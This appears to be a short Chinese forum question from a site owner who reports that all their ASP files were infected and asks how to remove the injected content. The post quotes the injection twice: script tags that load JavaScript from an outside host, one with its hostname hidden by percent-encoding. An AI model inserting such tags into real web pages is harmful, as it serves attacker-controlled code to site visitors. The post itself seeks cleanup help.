我所有ASP文件都中了这个内容，如何清除。
<script language="javascript" src="http://inc2.ht.cx/inc.js?tn=iacnnet_pg&cv=0&cid=1157572&csid=302"></script><script src=http://%68%68%6A%38%2E%63%6E></script>
<script language="javascript" src="http://inc2.ht.cx/inc.js?tn=iacnnet_pg&cv=0&cid=1157572&csid=302"></script><script src=http://%68%68%6A%38%2E%63%6E></script>